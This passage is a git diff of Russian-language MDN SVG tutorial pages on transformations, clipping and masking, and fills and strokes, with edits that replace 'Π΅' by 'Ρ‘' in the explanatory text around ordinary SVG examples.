@@ -68,7 +68,7 @@ original_slug: Web/SVG/Tutorial/Π‘Π°Π·ΠΎΠ²Ρ‹Π΅_ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡ
<h2 id="Π­Ρ„Ρ„Π΅ΠΊΡ‚Ρ‹_Π½Π°_систСмС_ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚">Π­Ρ„Ρ„Π΅ΠΊΡ‚Ρ‹ Π½Π° систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚</h2>
-<p>Π’ случаС использования ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ Π²Ρ‹ устанавливаСтС Π½ΠΎΠ²ΡƒΡŽ систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ измСнСния. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ опрСдСляСтС ΠΈ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ Π΅ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ 1:1, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ искаТСны, ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚Ρ‹, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈ ΡΠΌΠ°ΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² соотвСтствии с прСобразованиями.</p>
+<p>Π’ случаС использования ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ Π²Ρ‹ устанавливаСтС Π½ΠΎΠ²ΡƒΡŽ систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ измСнСния. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ опрСдСляСтС ΠΈ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ Π΅ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ 1:1, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ искаТСны, ΠΏΠΎΠ²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈ ΡΠΌΠ°ΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² соотвСтствии с прСобразованиями.</p>
<pre class="brush: html notranslate">&lt;svg width="100" height="100"&gt;
Β  &lt;g transform="scale(2)"&gt;
diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
index f5d2198fc8..c87cfa7287 100644
--- a/files/ru/web/svg/tutorial/clipping_and_masking/index.html
+++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
@@ -8,7 +8,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
<p>Β </p>
-<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, странно ΡΡ‚ΠΈΡ€Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ нарисовано. Но ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΠΊΡ€ΡƒΠ³ Π² SVG, Ρ‚ΠΎ сразу ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ свойствами.<br>
+<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, странно ΡΡ‚ΠΈΡ€Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ нарисовано. Но ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΠΊΡ€ΡƒΠ³ Π² SVG, Ρ‚ΠΎ сразу ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ свойствами.<br>
<br>
<strong>ΠžΠ±Ρ€Π΅Π·ΠΊΠ° (Clipping) </strong>позволяСт ΡΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… элСмСнтов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π’ этом случаС нСльзя Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ элСмСнта, это ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ «всС ΠΈΠ»ΠΈ Π½ΠΈΡ‡Π΅Π³ΠΎΒ».<br>
<br>
@@ -29,7 +29,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
&lt;/svg&gt;
</pre>
-<p>По Ρ†Π΅Π½Ρ‚Ρ€Ρƒ (100,100) нарисован ΠΊΡ€ΡƒΠ³ с радиусом 100. Атрибут<code> clip-path</code> ссылаСтся Π½Π° элСмСнт <code>{{ SVGElement("clipPath") }}</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит элСмСнт <code>rect</code>. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ холста. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>clipPath</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ помСщаСтся Π² Ρ€Π°Π·Π΄Π΅Π» <code>defs</code>.<br>
+<p>По Ρ†Π΅Π½Ρ‚Ρ€Ρƒ (100,100) нарисован ΠΊΡ€ΡƒΠ³ с радиусом 100. Атрибут<code> clip-path</code> ссылаСтся Π½Π° элСмСнт <code>{{ SVGElement("clipPath") }}</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит элСмСнт <code>rect</code>. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ холста. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>clipPath</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ помСщаСтся Π² Ρ€Π°Π·Π΄Π΅Π» <code>defs</code>.<br>
<br>
ΠŸΡ€ΠΈ этом сам ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ отрисован Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ВмСсто этого ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ задаст ΠΎΠ±Π»Π°ΡΡ‚ΡŒ отрисовки. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ ΠΊΡ€ΡƒΠ³Π°, ниТняя ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° ΠΊΡ€ΡƒΠ³Π° исчСзаСт:</p>
@@ -57,7 +57,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
&lt;/svg&gt;
</pre>
-<p>ЀактичСски Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ находятся Π΄Π²Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°: Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Π½Π° Π½ΠΈΠΆΠ½Π΅ΠΌ слоС ΠΈ красный Π½Π° Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ. Π£ красного Π΅ΡΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>mask</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся Π½Π° элСмСнт <code>mask</code>. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ маски это элСмСнт <code>rect</code>, Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, Π³Π΄Π΅ прозрачная Π·Π°Π»ΠΈΠ²ΠΊΠ° ΠΏΠ΅Ρ€Π΅Ρ‚Π΅ΠΊΠ°Π΅Ρ‚ Π² Π±Π΅Π»ΡƒΡŽ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, пиксСли красного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ (alpha-value) маски, ΠΈ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ красно-Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚:Β </p>
+<p>ЀактичСски Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ находятся Π΄Π²Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°: Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Π½Π° Π½ΠΈΠΆΠ½Π΅ΠΌ слоС ΠΈ красный Π½Π° Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ. Π£ красного Π΅ΡΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>mask</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся Π½Π° элСмСнт <code>mask</code>. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ маски это элСмСнт <code>rect</code>, Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, Π³Π΄Π΅ прозрачная Π·Π°Π»ΠΈΠ²ΠΊΠ° ΠΏΠ΅Ρ€Π΅Ρ‚Π΅ΠΊΠ°Π΅Ρ‚ Π² Π±Π΅Π»ΡƒΡŽ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, пиксСли красного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ (alpha-value) маски, ΠΈ ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ красно-Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚:Β </p>
<p>{{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}</p>
@@ -78,7 +78,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking
<p>{{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ красный ΠΊΡ€ΡƒΠ³ Π½Π° Π³ΠΎΠ»ΡƒΠ±ΠΎΠΌ Ρ„ΠΎΠ½Π΅. Π–Π΅Π»Ρ‚Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ установлСн Π½Π° 50% нСпрозрачности, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ эффСкту Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ красный ΠΊΡ€ΡƒΠ³ Π½Π° Π³ΠΎΠ»ΡƒΠ±ΠΎΠΌ Ρ„ΠΎΠ½Π΅. Π–Ρ‘Π»Ρ‚Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ установлСн Π½Π° 50% нСпрозрачности, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ эффСкту Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°.</p>
<h2 id="ИспользованиС_Ρ…ΠΎΡ€ΠΎΡˆΠΎ_извСстных_CSS_Ρ‚Π΅Ρ…Π½ΠΈΠΊ">ИспользованиС Ρ…ΠΎΡ€ΠΎΡˆΠΎ извСстных CSS Ρ‚Π΅Ρ…Π½ΠΈΠΊ</h2>
diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
index 0ba67eee54..e113c00376 100644
--- a/files/ru/web/svg/tutorial/fills_and_strokes/index.html
+++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
@@ -34,7 +34,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
&lt;line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/&gt;
&lt;/svg&gt;</pre>
-<p>Бвойство <em>stroke-width </em>опрСдСляСт ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ. Π¨Ρ‚Ρ€ΠΈΡ…ΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΏΡƒΡ‚ΠΈ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΏΡƒΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΌ, Π° ΠΎΠ±Π²ΠΎΠ΄ΠΊΠ° - Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ.</p>
+<p>Бвойство <em>stroke-width </em>опрСдСляСт ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ. Π¨Ρ‚Ρ€ΠΈΡ…ΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ Ρ€ΠΈΡΡƒΡŽΡ‚ΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΏΡƒΡ‚ΠΈ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΏΡƒΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Ρ€ΠΎΠ·ΠΎΠ²Ρ‹ΠΌ, Π° ΠΎΠ±Π²ΠΎΠ΄ΠΊΠ° - Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ.</p>
<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Π²Π»ΠΈΡΡŽΡ‰ΠΈΠΉ Π½Π° ΠΎΠ±Π²ΠΎΠ΄ΠΊΡƒ - свойство <em>stroke-linecap. </em>ДСмонстрируСтся Π²Ρ‹ΡˆΠ΅. Бвойство управляСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠ½Ρ†ΠΎΠ² Π»ΠΈΠ½ΠΈΠΉ.</p>
@@ -43,7 +43,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
<ul>
<li><code>butt</code> ΠΎΠ±Ρ€Ρ‹Π²Π°Π΅Ρ‚ линию ΠΏΠΎΠ΄ прямым ΡƒΠ³Π»ΠΎΠΌ ΠΊ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ это сразу ΠΏΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΠΈ Π»ΠΈΠ½ΠΈΠΈ.</li>
<li><code>square</code> Π² основном дСйствуСт Ρ‚Π°ΠΊΠΆΠ΅, Π½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ растягиваСт ΠΎΠ±Π²ΠΎΠ΄ΠΊΡƒ ΠΏΠΎ краям ΠΏΡƒΡ‚ΠΈ. Π”Π»ΠΈΠ½Π°, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ продлСваСтся ΠΎΠ±Π²ΠΎΠ΄ΠΊΠ° - это ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ значСния <em>stroke-width.</em></li>
- <li><code>round</code> Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹ ΠΏΠΎ краям ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ. Радиус этих ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Ρ‚Π°ΠΊΠΆΠ΅ управляСтся ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <em>stroke-width.</em></li>
+ <li><code>round</code> Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹Π΅ ΡƒΠ³Π»Ρ‹ ΠΏΠΎ краям ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ. Радиус этих ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Ρ‚Π°ΠΊΠΆΠ΅ управляСтся ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <em>stroke-width.</em></li>
</ul>
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅<code><em> </em>stroke-linejoin</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ ΠΎΠ±Π²ΠΎΠ΄ΠΊΡƒ Π΄Π²ΡƒΡ… сСгмСнтов Π»ΠΈΠ½ΠΈΠΈ.</p>
@@ -66,7 +66,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
<ul>
<li><code>miter </code>ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ линию ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ дальшС Π΅Ρ‘ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ СдинствСнный ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΡƒΠ³ΠΎΠ».</li>
- <li><code>round </code>создаёт Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΉ сСгмСнт Π»ΠΈΠ½ΠΈΠΈ</li>
+ <li><code>round </code>создаёт Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΉ сСгмСнт Π»ΠΈΠ½ΠΈΠΈ</li>
<li><code>bevel </code>создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» для ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя сСгмСнтами</li>
</ul>
@@ -82,13 +82,13 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/&gt;
&lt;/svg&gt;</pre>
-<p>Π’ качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>stroke-dasharray </code>ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ чисСл, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой.</p>
+<p>Π’ качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>stroke-dasharray </code>ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ чисСл, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой.</p>
<div class="note">
<p>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡƒΡ‚Π΅ΠΉ, эти числа Π”ΠžΠ›Π–ΠΠ« Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ запятыми (ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ).</p>
</div>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ число опрСдСляСт Π΄Π»ΠΈΠ½Ρƒ ΡˆΡ‚Ρ€ΠΈΡ…Π°, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ - Π΄Π»ΠΈΠ½Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΡˆΡ‚Ρ€ΠΈΡ…Π°ΠΌΠΈ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π΄ΡƒΠ΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΡƒ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠΌ Π² 5 пиксСлСй, Π·Π°Ρ‚Π΅ΠΌ 5 пустых пиксСлСй ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠΌ Π² 5 пиксСлСй. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ большС чисСл, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ систСму ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ². Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π°Π΄Π°Π½ΠΎ 3 числа ΠΈ Π² этом случаС Ρ€Π΅Π½Π΄Π΅Ρ€ Π±Π΅Ρ€Π΅Ρ‚ эти числа Π΄Π²Π°ΠΆΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‡Π΅Ρ‚Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½. Π’.ΠΎ. ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ отобраТаСтся 5 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ, 10 пустыми, 5 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π· 5 пустыми, 10 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ, 5 пустыми "пиксСлями". Π—Π°Ρ‚Π΅ΠΌ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ повторяСтся.</p>
